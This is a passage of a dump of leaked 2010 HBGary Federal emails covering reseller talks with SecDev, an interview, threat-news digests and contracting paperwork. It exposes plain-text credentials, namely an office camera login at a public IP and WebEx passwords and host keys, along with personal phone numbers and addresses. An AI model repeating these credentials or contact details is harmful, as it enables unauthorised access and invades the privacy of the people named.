Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1\r\n(613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010\r\n11:14:20 AM EDT\r\nTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet). &nbsp;Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference. &nbsp;He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc. &nbsp;I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary-VAR Agrmt (6-08)1\r\n(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder\r\npro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware\r\nReport_FINAL_FINAL.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13497,'aaron_hbgary_com/13497.html'),(6881,'2010-06-01','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','/aaron@hbgary.com/new/1297004966.M656512P14101Q1736.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Transcript from interview','Thanks, Aaron. I\'m going to edit it so it adheres to our style guide, write a short intro, and then post it live tomorrow. Do you have a recent headshot we can include? \r\n\r\nThanks!\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, June 01, 2010 1:50 PM\r\nTo: Camille Tuutti-Winkler\r\nSubject: Re: Transcript from interview\r\n\r\nHows this.\r\n\r\n',7903,'aaron_hbgary_com/7903.html'),(6882,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004968.M507507P14101Q1737.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Mon)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, June 01, 2010 10:09 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Mon)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Mon)\r\n\r\nToday\'s articles:\r\n\r\n1.      Phishing scam targets military credit unions\r\n\r\n2.      Importance of e-mail retention clear after U.S. bank is fined\r\n$700,000\r\n\r\n3.      Cyber thieves rob Treasury Credit Union\r\n\r\n4.      The gaming details of 44 million users found on a server\r\n\r\n5.      UA student pleads guilty to launching botnet attacks\r\n\r\n6.      3 men charged in $100m scareware scam\r\n\r\n7.      Businesses could use U.S. cyber monitoring system\r\n\r\n8.      Hackers will keep hammering Facebook, say researchers\r\n\r\n9.      Cyber criminal activity on the rise in Turkey, data show\r\n\r\n10.     BP\'s Twitter account hacked by pranksters\r\n\r\n11.     Microsoft Official Admits to Quiet Security Patching\r\n\r\n12.     Researchers Uncover Bot Sales Network\r\n\r\n13.     SASFIS Trojan disguised by clever technique\r\n\r\n14.     Number of threats from the UK rising\r\n\r\n15.     Naughty Camera Prank virus hits Facebook users\r\n\r\n',2519,'aaron_hbgary_com/2519.html'),(6883,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004968.M857223P14101Q1738.eml','\"Greg Hoglund\" <greg@hbgary.com>','EndGames','Hi Greg,\r\n\r\nAaron and I have a telecon with EndGame later today.  I will find out\r\nabout the two questions you asked:\r\n\r\n1.  Can we get samples of the malware (conficker a/b, etc) they flag\r\nin their database.\r\n2.  Better definitions for their fields -- ie what does \"SPAM\" mean,\r\nand the date/time stamps.\r\n\r\nIf you have any other questions you\'d like us to ask please email them\r\nto me.  You\'re also welcome to join the call if you\'d like.  Aaron is\r\nsetting up the telecon number and will send it out shortly.\r\n\r\nTed\r\n',13872,'aaron_hbgary_com/13872.html'),(6884,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004972.M964936P14101Q1739.eml','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','Re: Transcript from interview','\r\nOn Jun 1, 2010, at 2:46 PM, Camille Tuutti-Winkler wrote:\r\n\r\n> Thanks, Aaron. I\'m going to edit it so it adheres to our style guide, write a short intro, and then post it live tomorrow. Do you have a recent headshot we can include? \r\n> \r\n> Thanks!\r\n> \r\n> Camille Tuutti | Reporter | ExecutiveBiz\r\n> 8230 Old Courthouse Road, Vienna, VA 22182\r\n> Office: 703-226-7004\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 1:50 PM\r\n> To: Camille Tuutti-Winkler\r\n> Subject: Re: Transcript from interview\r\n> \r\n> Hows this.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6122,'aaron_hbgary_com/6122.html'),(6885,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004973.M272119P14101Q1740.eml','\"Barr Aaron\" <aaron@hbgary.com>','Camera','I have the network cam in the office.  Spy on Mark:\r\n\r\nhttp://70.91.171.242/camera\r\n\r\nLogin using your previous u/p.  Then login to the cam:\r\n\r\nu:  hbgary\r\np:  HbG123qwe\r\n\r\n-- \r\nTed\r\n',2964,'aaron_hbgary_com/2964.html'),(6886,'2010-06-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004973.M504223P14101Q1741.eml','all@hbgary.com','DO NOT PUT CLICKABLE MALWARE LINKS IN EMAIL',' \r\nTeam,\r\n \r\nPlease be aware that when you type a domain name like www.hbgary.com the link becomes clickable.  When you type a link in email that relates to malware, a malware domain, or even the root dynamic dns server for a malware domain, DO NOT write the domain in email.  You can insert text on both sides of the link, like this: DONTCLICKME_www.hbgary.com_DONTCLICKME and that will prevent it from being clickable.  It&#39;s too easy for an accident to happen with a hot link.  You could infect yourself with a malware, or you could tip-off an attacker that we are aware of the domain.  Please be careful.\r\n\r\n \r\n-Greg\r\n \r\n \r\n',8070,'aaron_hbgary_com/8070.html'),(6887,'2010-06-01','messenger@webex.com','/aaron@hbgary.com/new/1297004973.M736160P14101Q1742.eml','aaron@hbgary.com','Your enterprise account information','As requested, here is your enterprise account information for https://hbgary.webex.com:   User Name: Aaron  Password: https://hbgary.webex.com/hbgary/viewPassword.php?UID=9d1909584b5c5f525f091c02&Ticket=99b52628f2e5b3ed   -------------------------------------------------------  For assistance  -------------------------------------------------------  If you cannot log in, please contact WebEx Technical Support at https://support.webex.com/support/manage-ticket.html.   WebEx Technical Support  ',831,'aaron_hbgary_com/831.html'),(6888,'2010-06-01','messenger@webex.com','/aaron@hbgary.com/new/1297004973.M984354P14101Q1743.eml','aaron@hbgary.com','Meeting scheduled: Sicily Discussion',' You are the host for this online meeting.   Topic: Sicily Discussion  Date: Tuesday, June 1, 2010  Time: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 759 212  Meeting Password: n0n3  Host Key: 753817 (use this to reclaim host privileges)   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=148452282&UID=488445912&PW=NNDQzYTJjYTZi&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=148452282&tollFree=0   Access code:579 759 212   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=148452282&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=gndPrr/fRpzAo4Mq124Y1ggA1a2kapkI3ZFjr--lo8c=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     -------------------------------------------------------  To invite others to join  -------------------------------------------------------   ....................Start copying here...................   Topic: Sicily Discussion  Date: Tuesday, June 1, 2010  Time: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 759 212  Password: n0n3   -------------------------------------------------------  To join the meeting online(Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=148452282&UID=488445912&PW=NNDQzYTJjYTZi&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: n0n3  4. Click \"Join\".  5. If the meeting includes a teleconference, follow the instructions that appear on your screen.   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=148452282&tollFree=0   Access code:579 759 212   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ....................Stop copying here ...................  ',1324,'aaron_hbgary_com/1324.html'),(6889,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004974.M243738P14101Q1744.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,','Re: FW: Supplier 452174 Approved','Hi Kimberly,\r\n\r\nJust wanted to follow up on this.  Do we owe you anything?\r\n\r\nAlso, do you know the anticipated award date for this effort?\r\n\r\nCongrats on getting the proposal out, we\'ll keep our fingers crossed!\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 9:50 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> I just noticed that also, no wonder you guys are confused.  Hold off for right now, you answered my question that I needed.  I need to talk to Christine about something internally.  Sit tight and I\'ll get back to you.\r\n>\r\n>\r\n> Thanks for your patience!\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n>\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, May 27, 2010 11:49 AM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Re: FW: Supplier 452174 Approved\r\n>\r\n> Sorry for the confusion.  This form reads HBGary Inc, and it will not\r\n> allow me to change it to HBGary Federal, LLC.  Can you make this\r\n> change and resend it to me please and I will fill it out ASAP.\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>> Attached are the standard Reps & Certs that Christine just sent to you today\r\n>> at 9:31am.  These are where I would normally obtain the information that I\r\n>> requested from you this morning via Email.  The Supplemental Reps & Certs\r\n>> are a different set of forms that do not contain the same information.\r\n>> Christine Griswold does not send those out, I sent those to you on 5/25/10\r\n>> at 10:31 as part of your RFP package.\r\n>>\r\n>> Two totally different forms.  I hope this clears things up.\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may\r\n>> contain confidential and privileged information. Any unauthorized review,\r\n>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>> of the original message.\r\n>>\r\n>>\r\n>> _____________________________________________\r\n>> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n>> Sent: Thursday, May 27, 2010 9:31 AM\r\n>> To: Aaron Barr\r\n>> Cc: Hoagland, Kimberly A.; Ted Vera\r\n>> Subject: FW: Supplier 452174 Approved\r\n>>\r\n>>\r\n>>\r\n>> Please complete the document as soon as possible and return the soft copy to\r\n>> Kim Hoagland and myself.\r\n>>\r\n>> Sincerely,\r\n>> CHRISTINE GRISWOLD\r\n>> christine.griswold@gdc4s.com\r\n>> General Dynamics C4 Systems\r\n>> 400 John Quincy Adams Rd.\r\n>> Taunton Ma 02780\r\n>> P# 508-880-4154\r\n>> F# 508-880-2223\r\n>>\r\n>> ______________________________________________\r\n>> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n>> Sent:   Monday, May 24, 2010 3:20 PM\r\n>> To:     Griswold, Christine\r\n>> Subject:        FW: Supplier 452174 Approved\r\n>>\r\n>> Please send out a Reps & Certs package to this company.  Thank you!  J\r\n>>\r\n>> Aaron Barr [aaron@hbgary.com]\r\n>> Ted Vera [ted@hbgary.com]\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may\r\n>> contain confidential and privileged information. Any unauthorized review,\r\n>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>> of the original message.\r\n>>\r\n>>\r\n>> _____________________________________________\r\n>> From: Bradley, Barbara L.\r\n>> Sent: Monday, May 24, 2010 3:19 PM\r\n>> To: Hoagland, Kimberly A.\r\n>> Cc: Griswold, Christine (EXT) (GDC4S)\r\n>> Subject: Supplier 452174 Approved\r\n>>\r\n>>\r\n>> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>>\r\n>> Barbara Bradley\r\n>> Calibration Recall System Coordinator\r\n>> Supplier Quality Administrator\r\n>> General Dynamics - Cyber Systems-IS\r\n>> 7-9 Vreeland Road\r\n>> Florham Park, NJ  07932\r\n>> Phone - 973-765-5584\r\n>> Fax - 973-765-5952\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5980,'aaron_hbgary_com/5980.html'),(6890,'2010-06-01','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','/aaron@hbgary.com/new/1297004974.M504756P14101Q1745.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Transcript from interview','Thanks for the photo. Here is the intro:\r\n\r\nWith more than a decade as an intelligence and special signals analyst in the U.S. Navy, Aaron Barr spent a significant amount of time learning how systems worked and discovering he had a knack for figuring things out. After he got out of the Navy in 2001, he entered the booming IT market. Knowing that he wanted to focus more on IT security, Barr took a position at Northrop Grumman TASC, where he started out conducting vulnerability assessments and penetration tests as well as teaching the early version of the company\'s CyberWarrior course. After moving from Colorado to Washington, D.C., mostly for the career possibilities, Barr was offered a technical director position managing the technical strategy and execution for one of Northrop’s cybersecurity business units, which was \"an opportunity I couldn’t pass up,\" he told TNNI. After a year, he decided to try something he had always been curious about and transitioned into the small-business side and currently serves as CEO at HBGary, Inc.\r\n\r\nTheNewNewInternet: Can you tell me a little bit more about your background?\r\n\r\nBarr: I moved out here and really started to get involved less on the program and customer side and more on the overall strategy side. Both from a customer-government perspective as well as a corporate perspective on how do we build strategy and business around cybersecurity? And then as a nation with all the different programs that were under my business unit, what can we leverage as a company to help out what was and remains a very problematic field. I got picked up a few years ago to be the chief engineer for the Northrop Grumman cyber campaign. I was developing the technical strategy related to cybersecurity for the entire corporation. \r\n\r\nWe\'ll post it live tomorrow, so I will send you the link then.\r\n\r\nThanks!\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, June 01, 2010 2:56 PM\r\nTo: Camille Tuutti-Winkler\r\nSubject: Re: Transcript from interview\r\n',16685,'aaron_hbgary_com/16685.html'),(6891,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004980.M229620P14101Q1747.eml','\"Ted Vera\" <ted@hbgary.com>','','https://www.fbo.gov/index?s=opportunity&mode=form&id=437d1a74ea877689c936eacc65d6cd1a&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4847,'aaron_hbgary_com/4847.html'),(6892,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004980.M453998P14101Q1748.eml','\"Ted Vera\" <ted@hbgary.com>','','https://www.fbo.gov/index?s=opportunity&mode=form&id=57d4996db8dc149b3a32ac035cc7e7cc&tab=core&_cview=1\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8989,'aaron_hbgary_com/8989.html'),(6893,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004980.M634P14101Q1746.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Enterprise Cyber Forensics System','https://www.fbo.gov/index?s=opportunity&mode=form&id=a7696af665aa4a29f85a86770991b63d&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13817,'aaron_hbgary_com/13817.html'),(6894,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005005.M898890P14101Q1749.eml','\"Barr Aaron\" <aaron@hbgary.com>','DHS','Attached\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3894,'aaron_hbgary_com/3894.html'),(6895,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005007.M604764P14101Q1750.eml','\"Barr Aaron\" <aaron@hbgary.com>','Andy Purdy','Reach out to Andy try to meet up.\r\n\r\nHe mentioned that we should contact Bob F. to discuss possibly\r\noffering HBGary training on their contract vehicle.\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14780,'aaron_hbgary_com/14780.html'),(6896,'2010-06-01','messenger@webex.com','/aaron@hbgary.com/new/1297005008.M292804P14101Q1752.eml','aaron@hbgary.com','Meeting reminder: Sicily Discussion',' You are scheduled to host this online meeting.   Topic: Sicily Discussion  Date: Tuesday, June 1, 2010  Time: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 759 212  Meeting Password: n0n3  Host Key: 753817   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=148452282&UID=488445912&PW=NNDQzYTJjYTZi&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=148452282&tollFree=0   Access code:579 759 212  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com   ',6414,'aaron_hbgary_com/6414.html'),(6897,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005008.M519788P14101Q1753.eml','\"Barr Aaron\" <aaron@hbgary.com>','EndGame Results','You can now get to the results in real-time:\r\n\r\nhttp://70.91.171.242/results/\r\n\r\nTed\r\n',1291,'aaron_hbgary_com/1291.html'),(6898,'2010-06-01','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005008.M6917P14101Q1751.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Introduction','Hi Penny,We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?The license we currently have is a trial/eval one.Thanks for this information.Best,Arnav\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:Sure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Dear Penny, Aaron,&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.&nbsp;Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.&nbsp;Best wishes,Arnav&nbsp;On 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,&nbsp;I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.&nbsp;Do let me know your thoughts on this.&nbsp;Best wishes,Arnav&nbsp;&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 